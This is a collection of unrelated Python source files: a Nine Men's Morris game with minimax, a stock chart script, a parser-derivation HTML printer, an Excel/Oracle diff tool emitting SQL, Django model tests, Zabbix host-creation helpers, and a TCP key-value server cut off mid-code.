+{"seq_id":"447332519","text":"\nfrom service.heuristics import *\nfrom modules.board import Board\nfrom service.minimax import *\nfrom interface.inputs import *\nimport time\n\nclass Menu:\n def __init__(self):\n self.choices = {\n \"1\": self.play,\n \"2\": self.quit_app\n }\n\n @staticmethod\n def display_menu():\n print(\"1. Počnite igru\\n\"\n \"2. Izlazak iz programa\")\n\n def run(self):\n \"\"\"Displays menu and executes choice.\"\"\"\n while True:\n self.display_menu()\n choice = input(\"Izaberite opciju: \")\n action = self.choices.get(choice)\n if action:\n action()\n else:\n print(\"{0} nije validan izbor.\".format(choice))\n\n @staticmethod\n def play():\n alpha = float(\"-inf\")\n beta = float(\"inf\")\n #init board\n board = Board()\n board = Tree(board)\n print(board.value)\n # stage 1\n for i in range(9):\n while True:\n position = position_input(\"Postavite 'W'\")\n if board.value.dict[position].middle is \"O\":\n break\n print(\"Odabrano polje je već zauzeto.\")\n board.value.dict[position].middle = \"W\"\n if is_in_mill(position, \"W\", board.value):\n print(board.value)\n while True:\n mill = position_input(\"Uklonite 'B'\")\n if board.value.dict[mill].middle is \"B\":\n if is_in_mill(mill, \"B\", board.value):\n print(\"Odabrana figura je u mici.\")\n continue\n board.value.dict[mill].middle = \"O\"\n break\n print(\"Niste odabrali polje na kojem je 'B'.\")\n\n start = time.time()\n best_move = minimaxAB(board, 3, True, alpha, beta, 1)\n end = time.time()\n board = best_move.board\n print(board.value)\n print(\"Vreme izvršavanja: \" + str(end - start))\n\n _, _, win, human, ai = diff_pieces_blocked(\"W\", board.value)\n if win is 1:\n print(\"Pobedili ste!\")\n exit()\n if win is -1:\n print(\"Izgubili ste!\")\n exit()\n # stage 2 and 3\n stage3 = False\n human, ai = count_pieces(board, \"W\")\n while True:\n while True:\n cords = move_position_input()\n if board.value.dict[cords[0]].middle is \"W\":\n if human is 3 or adjacent(cords):\n if board.value.dict[cords[1]].middle is \"O\":\n break\n else:\n print(\"Odabrano polje je već zauzeto.\")\n else:\n print(\"Unešene koordinate nisu susedne.\")\n else:\n print(\"Niste odabrali polje na kojem je 'W'.\")\n board.value.dict[cords[0]].middle = \"O\"\n board.value.dict[cords[1]].middle = \"W\"\n if is_in_mill(cords[1], \"W\", board.value):\n print(board.value)\n while True:\n mill = position_input(\"Uklonite 'B'\")\n if board.value.dict[mill].middle is \"B\":\n if is_in_mill(mill, \"B\", board.value):\n print(\"Odabrana figura je u mici.\")\n continue\n board.value.dict[mill].middle = \"O\"\n break\n print(\"Niste odabrali polje na kojem je 'B'.\")\n _,_,win,human, ai = diff_pieces_blocked(\"W\", board.value)\n if win is 1:\n print(\"Pobedili ste!\")\n exit()\n if ai is 3:\n stage3 = True\n if stage3:\n if human is ai:\n print(\"Nerešeno\")\n exit()\n if stage3:\n start = time.time()\n best_move = minimaxAB(board, 1, True, alpha, beta, 3)\n else:\n start = time.time()\n best_move = minimaxAB(board, 4, True, alpha, beta, 2)\n end = time.time()\n board = best_move.board\n print(board.value)\n print(\"Vreme izvršavanja: \" + str(end - start))\n _, _, win, human, ai = diff_pieces_blocked(\"W\", board.value)\n if win is -1:\n print(\"Izgubili ste!\")\n exit()\n if stage3:\n if human is ai:\n print(\"Nerešeno\")\n exit()\n\n\n @staticmethod\n def quit_app():\n print(\"Izlazak iz programa.\")\n quit()\n\n\nif __name__ == \"__main__\":\n Menu().run()\n","sub_path":"interface/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"21621944","text":"import baostock as bs\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport get_baostock\n\nstock_id = 'sh.601155'\nstart_date = '2020-01-01'\nend_date = '2020-02-13'\n\n# 登陆系统\nlg = bs.login()\n# 显示登陆返回信息\nprint('login respond error_code:'+lg.error_code)\nprint('login respond error_msg:'+lg.error_msg)\n\n# 获取指数(综合指数、规模指数、一级行业指数、二级行业指数、策略指数、成长指数、价值指数、主题指数)K线数据\n# 综合指数,例如:sh.000001 上证指数,sz.399106 深证综指 等;\n# 规模指数,例如:sh.000016 上证50,sh.000300 沪深300,sh.000905 中证500,sz.399001 深证成指等;\n# 一级行业指数,例如:sh.000037 上证医药,sz.399433 国证交运 等;\n# 二级行业指数,例如:sh.000952 300地产,sz.399951 300银行 等;\n# 策略指数,例如:sh.000050 50等权,sh.000982 500等权 等;\n# 成长指数,例如:sz.399376 小盘成长 等;\n# 价值指数,例如:sh.000029 180价值 等;\n# 主题指数,例如:sh.000015 红利指数,sh.000063 上证周期 等;\n\n# 详细指标参数,参见“历史行情指标参数”章节\nrs = bs.query_history_k_data_plus(stock_id,\n \"date,code,open,high,low,close,volume,amount,pctChg\",\n start_date=start_date, end_date=end_date, frequency=\"d\")\n #省去了preclose\nprint('query_history_k_data_plus respond error_code:'+rs.error_code)\nprint('query_history_k_data_plus respond error_msg:'+rs.error_msg)\n\n# 打印结果集\ndata_list = []\nwhile (rs.error_code == '0') & rs.next():\n # 获取一条记录,将记录合并在一起\n data_list.append(rs.get_row_data())\nKline_data = []\nKline_time = []\nfor i in data_list:\n aim = []\n Kline_time.append(i[0:1])\n aim = i[2:6]\n aim.append(aim.pop(1))\n aim.append(aim.pop(1))\n for s in aim:\n s = float(s)\n Kline_data.append(aim)\nresult = pd.DataFrame(data_list, columns=rs.fields)\n\n# 结果集输出到csv文件\nresult.to_csv(\"/Users/qinpengzy/Documents/编程/baby/adjust_factor_data.csv\", encoding=\"gbk\", index=False)\nprint(result)\n\n# 登出系统\nbs.logout()\n\n#k线生成\nfrom pyecharts.charts import Kline\nfrom pyecharts import options as opts\n\nkline=(\n Kline()\n .add_xaxis([\"{}\".format(i) for i in Kline_time])\n #数据项具体为 [open, close, lowest, highest]\n .add_yaxis(\"kline\", Kline_data)\n .set_global_opts(\n yaxis_opts=opts.AxisOpts(is_scale=True),\n xaxis_opts=opts.AxisOpts(is_scale=True),\n title_opts=opts.TitleOpts(title=\"Kline-基本示例\"),\n )\n )\nkline.render()\n\n","sub_path":"mybaby/first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"459609097","text":"#!/usr/bin/python\n\nimport re\n\ndef derive():\n for i in range(len(deriv_list)):\n deriv_list[i] = deriv_list[i].split(' ')\n print(deriv_list[i])\n\n output = []\n output.append(deriv_list[0][0])\n html_out.write('Non-terminal being expanded >> BOLD .
')\n html_out.write(' Derived expansion >> UNDERLINE .
')\n html_out.write(' tokens >> UPPER CASE.
')\n html_out.write(' Derived expansion >> lower case.
')\n new_deriv = (0, 0)\n for deriv in deriv_list:\n for i in range(len(output) - 1, -1, -1):\n if output[i] == deriv[0]:\n break\n print_out = output[:]\n output = output[:i] + deriv[2:] + output[i+1:]\n print_out[i] = '' + print_out[i] + ' '\n print_out[new_deriv[0]] = '' + print_out[new_deriv[0]]\n print_out[new_deriv[1]] = print_out[new_deriv[1]] + ' '\n html_out.write('')\n html_out.write(\" \".join(print_out))\n html_out.write('
\\n')\n new_deriv = (i, i + len(deriv[2:]) - 1)\n\n\n\n\n\ntemp_txt = open(\"temp.txt\")\nhtml_out = open(\"output.html\", 'w')\ntext = temp_txt.read() \n\npattern = r\"Action : Reduce rule \\[(.*?)\\]\"\nderiv_list = re.findall(pattern, text)\nderiv_list.reverse()\n\nderive()\n\ntemp_txt.close()\nhtml_out.close()\n","sub_path":"asgn3/src/derivation_print.py","file_name":"derivation_print.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"380610895","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom openpyxl import Workbook\nimport os\nimport sys\nfrom openpyxl.cell import get_column_letter\nfrom openpyxl import load_workbook\nfrom datetime import datetime\nfrom gidhelper import parse_excel_row\nfrom gidhelper import compare_data\nfrom gidhelper import get_excel_header\nfrom gidhelper import get_db_header\nfrom dictdiff import DictDiffer\nfrom vnc import Vnc\nfrom dbaccess import DbAccess\nimport collections\n\nimport psycopg2\n\ntry:\n import cx_Oracle\nexcept:\n pass\n\n\nclass vncDiff:\n def __init__(self, excel_files_dir=None, db_schema=None, vnc_to_process=None):\n self.excel_data = collections.OrderedDict()\n self.excel_data_new = []\n self.excel_data_dupkey = []\n self.db_data = collections.OrderedDict()\n self.excel_files = []\n\n os.environ[\"NLS_LANG\"] = \"GERMAN_GERMANY.WE8ISO8859P1\"\n self.db_access = DbAccess(\"oracle:DAYSNAP:noa:noa\")\n\n if vnc_to_process is not None:\n self.vnc_to_process = vnc_to_process\n else:\n self.vnc_to_process = ['Retouren', 'Otto Germany', 'Alba Moda', 'bon prix Germany', 'Corso',\n 'Heinrich Heine GmbH Germany',\n 'baumarkt direkt', 'Schwab Versand Germany', 'Universal', 'Intrastat', 'EK_Relevanz']\n\n if excel_files_dir is not None:\n self.dir = excel_files_dir\n else:\n self.dir = r\"beleg_diff/\"\n\n if db_schema is not None:\n self.db_schema = db_schema\n else:\n self.db_schema = \"whcomm\"\n\n for file in self.vnc_to_process:\n self.excel_files.append(self.dir + file + \".xlsx\")\n\n # lesen der excel-tabellen\n self.read_excel_data()\n # lesen der datenbank\n self.read_db_data()\n\n def read_excel_data(self):\n for file in self.excel_files:\n wb = load_workbook(file, data_only=True)\n ws = wb.get_sheet_by_name(wb.get_sheet_names()[0])\n rows = ws.get_highest_row()\n columns = ws.get_highest_column()\n\n headerdata_list = get_excel_header(ws, columns)\n\n for row in range(2, rows + 1):\n row_dict = parse_excel_row(ws, headerdata_list, columns, row)\n if row_dict is not None:\n if row_dict['vncid'] is None:\n self.excel_data_new.append(row_dict)\n elif row_dict['vncid'] in self.excel_data:\n self.excel_data_dupkey.append(row_dict)\n else:\n self.excel_data[row_dict['vncid']] = row_dict\n\n def read_db_data(self):\n try:\n self.db_access.parse_sql(Vnc.get_attributes())\n basesql = Vnc.get_base_sql_diff() + \" FROM \" + self.db_schema + \"\"\".WHBUSINESSTRANSACTION join \"\"\" + self.db_schema + \"\"\".VouchernumberCatalog on WHBUSINESSTRANSACTION.id = VouchernumberCatalog.ID_WHBUSINESSTRANSACTION left join sysp.company co on co.id = VouchernumberCatalog.id_company_bdf\"\"\"\n\n appsql = []\n ret = ek = intrastat = False\n for vnc in self.vnc_to_process:\n if vnc == 'Retouren':\n appsql.append(\"WHBUSINESSTRANSACTION.enumname like 'ROM_%'\")\n ret = True\n elif vnc == 'EK_Relevanz':\n appsql.append(\"YN_EKRELEVANT = 'Y'\")\n ek = True\n elif vnc == \"Intrastat\":\n appsql.append(\"YN_INTRASTATRELEVANT = 'Y'\")\n intrastat = True\n else:\n if vnc == 'Universal': # fieser Trick, Universal wird zu Baur geschlüsselt\n vnc = 'Baur Versand Germany'\n appsql.append(\"co.name = '\" + vnc + \"'\")\n\n if ret is False and ek is False and intrastat is False:\n appsql.append(\n \"YN_EKRELEVANT = 'N' and YN_INTRASTATRELEVANT = 'N' and WHBUSINESSTRANSACTION.enumname is null\")\n\n first = True\n extsql = \"\"\n for d in appsql:\n if first == True:\n extsql += \" where \" + d\n first = False\n else:\n extsql += \" and \" + d\n\n basesql = basesql + extsql\n self.db_access.execute(basesql)\n rows = self.db_access.fetchall()\n if rows == []:\n raise ValueError\n\n for row in rows:\n row_dict = self.db_access.parse_db_row(row)\n self.db_data[row_dict['vncid']] = row_dict\n except Exception as e:\n raise e\n\n def spit_out_differences(self):\n key_set_excel = set(self.excel_data.keys())\n key_set_db = set(self.db_data.keys())\n\n # Neue Zeilen im Excel (vncid is None)\n print(\"-- Inserts --\")\n for diff in self.excel_data_new:\n self.db_access.generate_insert_vnc(diff)\n\n # mögliche dupkeys (Erfassungsfehler im Excel)\n for diff in self.excel_data_dupkey:\n print(\"Dupkey\", diff)\n\n # keys in excel, aber nicht in der db (update fehler?), kann kann insert sein, weil dann die vnc_id null sein sollte\n diff_set1 = key_set_excel.difference(key_set_db)\n if len(diff_set1) != 0:\n print(\"-- Zeilen im Excel aber nicht in der Datenbank\")\n for diff in diff_set1:\n print(self.excel_data[diff])\n\n # keys in der db, aber nicht in excel (delete)\n diff_set2 = key_set_db.difference(key_set_excel)\n if len(diff_set2) != 0:\n print(\"-- Deletes ---\")\n for diff in diff_set2:\n self.db_access.generate_delete(diff)\n\n # ermitteln der value differenzen\n print(\"-- Updates ---\")\n for key in self.excel_data:\n if key in diff_set1 or key in diff_set2: # habe ich bereits angemerkt\n continue\n try:\n d = DictDiffer(self.excel_data[key], self.db_data[key])\n\n # diff = d.added()\n # if len(diff) != 0:\n # print(\"Added: \", diff)\n\n # diff = d.removed()\n # if len(diff) != 0:\n # print(\"Removed: \", diff)\n\n diff = d.changed()\n if diff is not None:\n # print(\"Changed: \", diff)\n whbu = self.db_access.is_whbu(diff)\n if whbu:\n self.db_access.generate_update_whbu(diff)\n else:\n self.db_access.generate_update(diff)\n\n except KeyError:\n print(\"Key nicht gefunden = \" + key)\n\n def spit_out_postprocessing(self):\n print(\"-- Dies immer NACH jeder Transaction, die das Belegnummernverzeichnis ändert ausführen\")\n print(\"\"\"\n /* Setze SAP-Konten auf gültige Werte */\n update WHCOMM.VOUCHERNUMBERCATALOG set accountsap1 = 0 where accountsap1 is null;\n update WHCOMM.VOUCHERNUMBERCATALOG set accountsap2 = 0 where accountsap2 is null;\n\n /* Setze YN_SOREEXCLUDE in der Übergangsphase auf N wenn null */\n update whcomm.vouchernumbercatalog set YN_SOREEXCLUDE = 'N' where YN_SOREEXCLUDE is null;\n\n /* Setze SUMEXCLUDE auf gültige Werte */\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_SUMEXCLUDE = 'N'; -- erstmal auf den default\n\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_SUMEXCLUDE = 'Y' where\n (VNC.ACCOUNTSAP1 = 0 and VNC.ACCOUNTSAP2 = 0)\n or vnc.vouchernumber_from between 872000 and 872999\n or vnc.vouchernumber_from between 874000 and 874999\n or vnc.vouchernumber_from between 950000 and 959999;\n\n /* YN_Sales auf gültige Werte setzen */\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_SALES = 'N'; -- erstmal auf den default\n\n -- Nur die belegnummernkreise 873x and Y setzen\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_SALES = 'Y'\n where VNC.VOUCHERNUMBER_FROM between 873000 and 873999;\n\n /* YN_WJINCLUDE auf gültige Werte setzen */\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_WJINCLUDE = 'Y'; -- erstmal auf den (neuen) default\n\n -- nun den richtigen Wert setzen\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_WJINCLUDE = 'N'\n where\n VNC.VOUCHERNUMBER_FROM between 872000 and 872999\n or\n VNC.VOUCHERNUMBER_FROM between 874000 and 874999;\n\n /* YN_STOCK auf gültige Werte setzen */\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_STOCK = 'Y'; -- erstmal auf den default\n\n -- nun den Wert setzen\n update WHCOMM.VOUCHERNUMBERCATALOG vnc set VNC.YN_STOCK = 'N'\n where\n (vnc.ACCOUNTSAP1 = 0 and vnc.ACCOUNTSAP2 = 0)\n or\n (vnc.ACCOUNTSAP1 != 0 and vnc.ACCOUNTSAP2 != 0\n and vnc.ACCOUNTSAP1 != vnc.ACCOUNTSAP2);\n\n /* setze den dafault für EK-Relevanz */\n update vouchernumbercatalog set YN_EKRELEVANT = 'N' where YN_EKRELEVANT is null;\n\n /* Setze EK-Relevanz Kennzeichen und Referenz auf whbusinesstrasactiontype */\n update whbusinesstransaction set id_whbusinesstransactiontype = 2 where id in\n (select id_whbusinesstransaction from vouchernumbercatalog vnc where vnc.YN_EKRELEVANT = 'Y');\n\n /* Setze Intrastat Kennzeichen und Referenz auf whbusinesstrasactiontype */\n update whbusinesstransaction set id_whbusinesstransactiontype = 4 where id in\n (select id_whbusinesstransaction from vouchernumbercatalog vnc where vnc.YN_INTRASTATRELEVANT = 'Y');\n\n /* Setze ROM Referenz auf whbusinesstrasactiontype */\n update whbusinesstransaction set id_whbusinesstransactiontype = 1 where enumname like 'ROM_%';\n\n /* Setze Referenz auf whbusinesstrasactiontype an allen anderen Belenummernverzeichnissen */\n update whbusinesstransaction set id_whbusinesstransactiontype = 6 where id_whbusinesstransactiontype not in (1,2,3,4,5,7) and id_whbusinesstransactiontype != 6 or id_whbusinesstransactiontype is null;\n\n /* Setze Referenz auf whbusinesstrasactiontype an allen anderen Belenummernverzeichnissen */\n update vouchernumbercatalog set YN_INTRASTATRELEVANT = 'N', YN_EKRELEVANT = 'N', YN_OBLIGORELEVANT = 'N' where id in\n (\n select vnc.id from vouchernumbercatalog vnc join whbusinesstransaction wt on wt.id = VNC.ID_WHBUSINESSTRANSACTION where wt.id_whbusinesstransactiontype = 6\n );\n\n /* whbusinesstransaction ohne eintrag in vouchernumercatalog */\n delete from whbusinesstransaction where id not in\n --select * from whbusinesstransaction where id not in\n (\n select vnc.id_whbusinesstransaction from vouchernumbercatalog vnc join whbusinesstransaction wt on wt.id = VNC.ID_WHBUSINESSTRANSACTION\n );\n \"\"\")\n\n\nif __name__ == \"__main__\":\n l = \"\"\"\n vcn_diff = vncDiff(vnc_to_process=[\"Otto Germany\", 'Heinrich Heine GmbH Germany', \"bon prix Germany\", \"Schwab Versand Germany\"])\n vcn_diff.spit_out_differences()\n \"\"\"\n\n print(\"-- Otto\")\n vcn_diff = vncDiff(vnc_to_process=[\"Otto Germany\"])\n vcn_diff.spit_out_differences()\n # print(\"-- Schwab\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Schwab Versand Germany\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- Heine\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Heinrich Heine GmbH Germany\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- Eddie Baur\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Eddie Bauer\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- Corso\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Corso\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- bon prix\")\n # vcn_diff = vncDiff(vnc_to_process=[\"bon prix Germany\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- alba\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Alba Moda\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- bmd\")\n # vcn_diff = vncDiff(vnc_to_process=[\"baumarkt direkt\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- universal\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Universal\"])\n # vcn_diff.spit_out_differences()\n # print(\"-- retouren\")\n # vcn_diff = vncDiff(vnc_to_process=[\"Retouren\"])\n # vcn_diff.spit_out_differences()\n\n vcn_diff.spit_out_postprocessing()","sub_path":"pytestoracle32/vnc/diff_vnc_excel_and_db.py","file_name":"diff_vnc_excel_and_db.py","file_ext":"py","file_size_in_byte":12693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"326639193","text":"from tkinter import *\nimport _thread\nimport time\n\ndef test(ta):\n print(\"inta\")\n while 1:\n time.sleep(5) \n f = open(\"IP1.txt\",\"r\")\n test=f.read()\n f.close()\n ta.set(test)\n \n \n\ndef guir(cip):\n print(\"imthread\")\n root = Tk()\n var=StringVar()\n w = Label(root, textvariable=var)\n var.set(cip)\n w.pack()\n _thread.start_new_thread(test, (var,)) \n root.mainloop()\n","sub_path":"DynDns/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"97628325","text":"# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase\nimport pprint\n\nfrom django.db import connection\nfrom django.test.utils import CaptureQueriesContext\n\nfrom rubricas.models.secciones import Programa\nfrom rubricas.models.competencias import GrupoCompetencia\nfrom rubricas.models.competencias import Competencia\n\nimport pytest\n\npytestmark = pytest.mark.django_db\n\n\n@pytest.mark.django_db\nclass Test_Competencia(TestCase):\n def setUp(self):\n nombre = \"nombre\"\n sigla = \"cp\"\n descripcion = \"descripcion\"\n gr = self.crearGrupoCompetencia()\n Competencia.objects.create(grupo=gr, nombre=nombre, sigla=sigla, descripcion=descripcion)\n\n def crearGrupoCompetencia(self, nombre=\"gc\"):\n return GrupoCompetencia.objects.create(nombre_corto=nombre, nombre_largo=\"nl\", sigla=nombre, descripcion=\"desc\")\n\n def tearDown(self):\n print(\"Number of queries: \", len(connection.queries))\n # pprint.pprint(connection.queries)\n\n def test_str(self):\n \"El método str muestra la sigla y el nombre de la competencia\"\n competencia = Competencia.objects.get(sigla=\"cp\")\n self.assertTrue(\"cp\" in str(competencia))\n self.assertTrue(\"nombre\" in str(competencia))\n\n def test_buscar_por_sigla(self):\n \"\"\"Si se busca una competencia por sigla, se encuentra\"\"\"\n cp1 = Competencia.objects.get(sigla=\"cp\")\n cp2 = Competencia.buscar_por_sigla(\"cp\")\n self.assertIsNotNone(cp1, \"La competencia encontrada con GET no debería ser None\")\n self.assertIsNotNone(cp2, \"La competencia encontrada con buscar_por_sigla no debería ser None\")\n self.assertEqual(cp1.sigla, cp1.sigla, \"Las siglas no son las mismas\")\n self.assertEqual(cp2.id, cp2.id, \"Los objetos no tienen los mismos ids\")\n\n def test_buscar_por_sigla_inexistente(self):\n \"\"\"Si se busca un APE usando una sigla que no existe, retorna None\"\"\"\n cc = Competencia.buscar_por_sigla(\"CC\")\n self.assertIsNone(cc, \"La competencia retornada debería ser None\")\n\n def test_buscar_por_programa(self):\n \"\"\"buscar_por_programa encuentra las competencias correctas\"\"\"\n gr = self.crearGrupoCompetencia(\"gg\")\n cp1 = Competencia.objects.create(grupo=gr, nombre=\"n1\", sigla=\"cp1\", descripcion=\"d1\")\n cp2 = Competencia.objects.create(grupo=gr, nombre=\"n2\", sigla=\"cp2\", descripcion=\"d2\")\n cp3 = Competencia.objects.create(grupo=gr, nombre=\"n3\", sigla=\"cp3\", descripcion=\"d3\")\n\n pr = Programa.objects.create(nombre=\"Pediatria\", codigo=\"PEDI\")\n pr.agregar_competencia(cp1)\n pr.agregar_competencia(cp2)\n\n competencias = Competencia.buscar_por_programa(pr)\n self.assertIsNotNone(competencias)\n self.assertIn(cp1, competencias)\n self.assertIn(cp2, competencias)\n self.assertNotIn(cp3, competencias)\n\n def test_buscar_por_programa_sin_competencias(self):\n \"\"\"buscar_por_programa retorna una lista vacía si el programa no tiene competencias\"\"\"\n pr = Programa.objects.create(nombre=\"Pediatria\", codigo=\"PEDI\")\n competencias = Competencia.buscar_por_programa(pr)\n self.assertIsNotNone(competencias)\n self.assertEquals(0, len(competencias))\n","sub_path":"rubricas/tests_models/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"328630610","text":"import sys\nfrom pyzabbix.api import ZabbixAPI\nfrom secrets.secrets import *\n\n# Connect to ZabbixAPI\ntry:\n zapi = ZabbixAPI(url=ZABBIX_URL, user=ZABBIX_USERNAME, password=ZABBIX_PASSWORD)\nexcept Exception as e:\n print(\"Failed to connect to Zabbix: \" + str(e))\n sys.exit(0)\n\n\ndef zabbix_find_group(group_name):\n \"\"\"\n Find Group ID by Group name.\n\n :param group_name:\n :return: group ID or 0 if group does not exist\n \"\"\"\n group_filter = {\n 'filter': {\n 'name': group_name\n }\n }\n try:\n search_result = zapi.do_request('hostgroup.get', group_filter) # Send request to Zabbix\n except Exception as error:\n print('Error while searching group:' + str(error))\n return 0\n # Check if group exists\n if search_result['result']:\n return search_result['result'][0]['groupid']\n else:\n return 0\n\n\ndef zabbix_list_groups():\n \"\"\"\n List all Zabbix Group names.\n :return: list of tuples (GroupID, GroupName) or 0 if error\n \"\"\"\n result = []\n try:\n search_result = zapi.do_request('hostgroup.get') # Send request to Zabbix\n except Exception as error:\n print('Error while searching group:' + str(error))\n return 0\n for group in search_result['result']:\n result.append((group['groupid'], group['name']))\n return result\n\n\ndef zabbix_find_template(template_name):\n \"\"\"\n Find Template ID by Template name.\n\n :param template_name: Must be exactly as in Zabbix\n :return: template ID or 0 if template does not exist\n \"\"\"\n template_filter = {\n 'filter': {\n 'name': template_name\n }\n }\n try:\n search_result = zapi.do_request('template.get', template_filter) # Send request to Zabbix\n except Exception as error:\n print('Error while search template: ' + str(error))\n return 0\n # Check if template exists\n if search_result['result']:\n return search_result['result'][0]['templateid']\n else:\n return 0\n\n\ndef map_template_names(raw_name):\n \"\"\"\n Map convinient template name with Zabbix template names. For often used templates only.\n :param raw_name: name from input\n :return: name from Zabbix or False if name is not in list\n \"\"\"\n template_names_map = {\n 'juniper': 'JuniperT SNMP Device',\n 'cisco': 'Cisco SNMP Device___T',\n 'dlink': 'DLink SNMP Device macro',\n 'mikrotik': 'Mikrotik SNMP Device T',\n 'qtech': 'QTECH SNMP Device',\n 'cisco asa': 'Cisco ASA',\n 'moxa': 'Moxa SNMP Device',\n 'hp5800': 'HP 58xx SNMP Device',\n 'hp5500': 'HP 5500 SNMP Device',\n 'hp5120': 'HP 5120 SNMP Device',\n 'hp1950': 'HP 1950 SNMP Device',\n 'hp1920': 'HP 1920 SNMP Device',\n 'ping loss': 'Ping_Loss'\n }\n if str(raw_name).lower().strip() in template_names_map.keys():\n return template_names_map[str(raw_name).lower().strip()]\n else:\n print(\"Name is not in list, use(\" + \", \".join(template_names_map.keys()) + \")\")\n return False\n\n\ndef zabbix_add_host(hostname, ip_address, groups_list, template_name, snmp_community=DEFAULT_SNMP_COMMUNITY):\n \"\"\"\n Add host to zabbix. do_request method in ZabbixAPI use 2 arguments:\n method - see full list on https://www.zabbix.com/documentation/3.2/manual/api\n parameters - parameters of host\n\n :param hostname: str, hostname of host\n :param ip_address: str, ip address of host\n :param groups_list: list of tuples (GroupID, GroupName) from zabbix where host belongs to\n :param template_name: name of template for host\n :param snmp_community: str, SNMP community string, if not specified it is DEFAULT_SNMP_COMMUNITY\n :return: True if host added, Error message if not\n \"\"\"\n gr_list = []\n for group in groups_list:\n gr_list.append({'groupid': group[0]})\n\n template_name_mapped = map_template_names(template_name)\n template_id = zabbix_find_template(template_name_mapped)\n\n if not groups_list or not template_id:\n print('Host does not added')\n return False\n print('Adding host...')\n parameters = {\n 'host': hostname,\n 'interfaces': [\n {\n 'type': 2, # 1 - Zabbix Agent, 2 - SNMP\n 'main': 1,\n 'useip': 1,\n 'ip': ip_address,\n 'dns': '',\n 'port': '161' # SNMP port\n }\n ],\n 'groups': gr_list,\n 'templates': [\n {\n 'templateid': template_id\n }\n ],\n 'macros': [\n {\n 'macro': '{$SNMP_COMMUNITY}',\n 'value': snmp_community\n }\n ],\n }\n try:\n zapi.do_request('host.create', parameters)\n except Exception as error:\n print('Can not add host: ' + str(error))\n return str(error)\n print('Done')\n return True\n","sub_path":"zabbix/zabbix_api_methods.py","file_name":"zabbix_api_methods.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"624983538","text":"import socket\r\nfrom datetime import datetime\r\nimport pickle\r\nfrom key_value_client import KeyValueClient, global_dict\r\nimport sys\r\n\r\nclass TCPServer:\r\n def __init__(self, host, port):\r\n self.host = host\r\n self.port = port \r\n self.sock = None\r\n\r\n def print_with_time(self, msg):\r\n print(f\"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\")\r\n\r\n def configure_server(self):\r\n ''' Configure the server '''\r\n\r\n self.print_with_time('🔄 Creating server socket... ')\r\n try:\r\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n self.print_with_time('✅ Socket created successfully')\r\n except Exception as e:\r\n self.print_with_time(f'❌ Socket creation failed, {e}')\r\n\r\n self.print_with_time(f'🔄 Binding socket to {self.host}:{self.port}...')\r\n try:\r\n self.sock.bind((self.host, self.port))\r\n self.print_with_time('✅ Socket binding was successful')\r\n except Exception as e:\r\n self.print_with_time(f'❌ Bind failed, {e}')\r\n\r\n def wait_for_client(self):\r\n ''' Wait for a client to connect '''\r\n\r\n # start listening for incoming connections\r\n try:\r\n self.print_with_time('🔄 Listening for incoming connection...')\r\n self.sock.listen(1)\r\n\r\n # accept a connection\r\n client_sock, client_address = self.sock.accept()\r\n self.print_with_time(f'🤝 Accepted connection from {client_address}')\r\n self.handle_client(client_sock, client_address)\r\n \r\n except KeyboardInterrupt:\r\n self.shutdown_server()\r\n\r\n def handle_client(self, client_sock, client_address):\r\n \"\"\" Handle the accepted client's requests \"\"\"\r\n\r\n username = client_sock.recv(1024).decode()\r\n if username not in global_dict:\r\n client = KeyValueClient(username)\r\n global_dict[username] = client\r\n else:\r\n client = global_dict[username]\r\n self.print_with_time(global_dict)\r\n client_sock.sendall(\"OK\".encode('utf-8'))\r\n try:\r\n data_enc = client_sock.recv(1024)\r\n while data_enc:\r\n # client's request\r\n request = pickle.loads(data_enc)\r\n response = client.resolve(request)\r\n self.print_with_time(f'[ REQUEST from {client_address} ]')\r\n print('\\n', request, '\\n')\r\n\r\n # send response\r\n self.print_with_time(f'[ RESPONSE to {client_address} ]')\r\n client_sock.sendall(pickle.dumps(response))\r\n print('\\n', response, '\\n')\r\n\r\n # get more data and check if client closed the connection\r\n data_enc = client_sock.recv(1024)\r\n self.print_with_time(f'Connection closed by {client_address}')\r\n\r\n except OSError as 